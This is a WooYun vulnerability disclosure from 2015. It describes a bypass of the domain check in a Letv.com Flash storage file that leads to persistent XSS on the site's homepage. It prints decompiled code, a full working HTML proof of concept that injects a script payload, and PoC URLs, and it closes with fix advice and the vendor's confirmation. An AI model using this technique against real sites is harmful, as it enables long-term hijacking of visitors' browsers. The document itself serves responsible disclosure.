当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100880

漏洞标题:乐视网首页某处xss可导致rootkit(绕过)

相关厂商:乐视网

漏洞作者: 香草

提交时间:2015-03-12 11:49

修复时间:2015-04-26 11:50

公开时间:2015-04-26 11:50

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-12: 细节已通知厂商并且等待厂商处理中
2015-03-12: 厂商已经确认,细节仅向厂商公开
2015-03-22: 细节向核心白帽子及相关领域专家公开
2015-04-01: 细节向普通白帽子公开
2015-04-11: 细节向实习白帽子公开
2015-04-26: 细节向公众公开

简要描述:

看到路人甲发了类似的,还被雷劈了,所以来了兴致,打开研究了一番,果然修复了,但是很快被绕过了,另外也求个雷劈

详细说明:

这个是路人甲发的漏洞 WooYun: 乐视网首页某处xss可导致rootkit
从他通过的漏洞代码来分析,原来的flash验证allowDomain是通过的location.href
所以被这样的链接绕过了:http://appmaker.sinaapp.com/poc/com.letv.www/1.htm
问题falsh:http://player.letvcdn.com/p/201501/30/11/StorageLetvPlayer.swf
原漏洞分析的比较简单,我在这儿做一个比较详细发分析
反编译了flash关键代码如下:

try 
{
pageDomain = String(this.loaderInfo.parameters["domain"]) || "";
loc2 = true;
switch (loc2)
{
case new RegExp("\\.letv\\.com$").test(pageDomain):
{
break;
}
case new RegExp("\\.letv\\.cn$").test(pageDomain):
{
break;
}
default:
{
pageDomain = "www.letv.com";
break;
}
}
flash.system.Security.allowDomain(pageDomain);
flash.system.Security.allowInsecureDomain(pageDomain);
}


通过传入的domain设置allowDomain
但是进行了正则验证RegExp("\\.letv\\.com$")和RegExp("\\.letv\\.cn$")都只限制了以letv.com和letv.cn结尾,于是我们可以通过设置:domain=127.0.0.1/.letv.com
轻松绕过过滤,由于/后面相当于注释,所以设置后的allowDomain就为127.0.0.1
让后继续看下面的代码:

flash.external.ExternalInterface.addCallback("getVersion", this.getVersion);
flash.external.ExternalInterface.addCallback("getItem", this.getItem);
flash.external.ExternalInterface.addCallback("getCount", this.getCount);
flash.external.ExternalInterface.addCallback("getAllItem", this.getAllItem);
flash.external.ExternalInterface.addCallback("addItem", this.addItem);
flash.external.ExternalInterface.addCallback("removeItem", this.removeItem);
flash.external.ExternalInterface.addCallback("removeAll", this.removeAll);
flash.external.ExternalInterface.addCallback("getRecord", this.getRecord);
flash.external.ExternalInterface.addCallback("getAllRecord", this.getAllRecord);
flash.external.ExternalInterface.addCallback("removeRecord", this.removeRecord);
flash.external.ExternalInterface.addCallback("removeAllRecord", this.removeAllRecord);
其中addItem代码为:
internal function addItem(arg1:String, arg2:Object):Boolean
{
var type:String;
var value:Object;
var so_storage:flash.net.SharedObject;
var loc1:*;
so_storage = null;
type = arg1;
value = arg2;
try
{
so_storage = flash.net.SharedObject.getLocal(com.letv.pluginsAPI.cookieApi.CookieAPI.COOKIE_STORAGE, "/");
so_storage.data[type] = value;
so_storage.flush();
}
catch (e:Error)
{
return false;
}
return true;
}


这个是设置sharedObject的方法。
于是我们到网页上去搜索.getItem看在哪些地方有调用,最后跟踪发现

e.getLC = function() {
var e = this.getCookie("tj_lc");
if (e) {
return e
}
e = LocalStore.read("lc");
if (e) {
this.setCookie("tj_lc", e)
} else {
e = "";
var t = 32;
while (t--) {
e += Math.floor(Math.random() * 16).toString(16)
}
if (LocalStore.isReady || !LocalStore.flash) {
LocalStore.write("lc", e)
}
}
return e
};


每次访问首页都会执行这个方法,其中LocalStore.read("lc");就是调用flash的方法
但是必须要tj_lc的值为空才会调用LocalStore.read("lc");路人甲的方法是找了个letv的跨站修改tj_lc的值为空,其实根本不需要,因为每次打开浏览器第一次访问www.letv.com的时候tj_lc都是为空的,解决了调用的方法,那下面我们就来设置我们的跨站代码吧!

<html>
<body>

<embed width="100%" height="100%" id="plugin" name="plugin" src="http://player.letvcdn.com/p/201501/30/11/StorageLetvPlayer.swf?domain=127.0.0.1/.letv.com" type="application/x-shockwave-flash" allowscriptaccess="always">
<script>
var x=setInterval(
function(){
document.getElementById("plugin").addItem("lc",'\\";alert(12);Stats.getLC=function(){LocalStore.read(\'lc\');};__flash_temp=\'x\';//"')
//为了可以长期rootkit,所以我们先修改getLc的方法,去掉设置cookie和LocalStore.write("lc", e)的方法,阻止从新设置flash shareobject
clearInterval(x);
},100);
</script>
</body>
</html>


这样我们每次打开浏览器访问letv.com都会触发了,达到了长期劫持的目的

漏洞证明:

访问 http://xiangchao.sinaapp.com/flash.htm后访问
http://www.letv.com

xss.png

修复方案:

1、flash验证可信域名正则修改
2、addItem方法过滤特殊字符

版权声明:转载请注明来源 香草@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-03-12 12:27

厂商回复:

非常感谢关注乐视安全,再次联系开发进行修复

最新状态:

暂无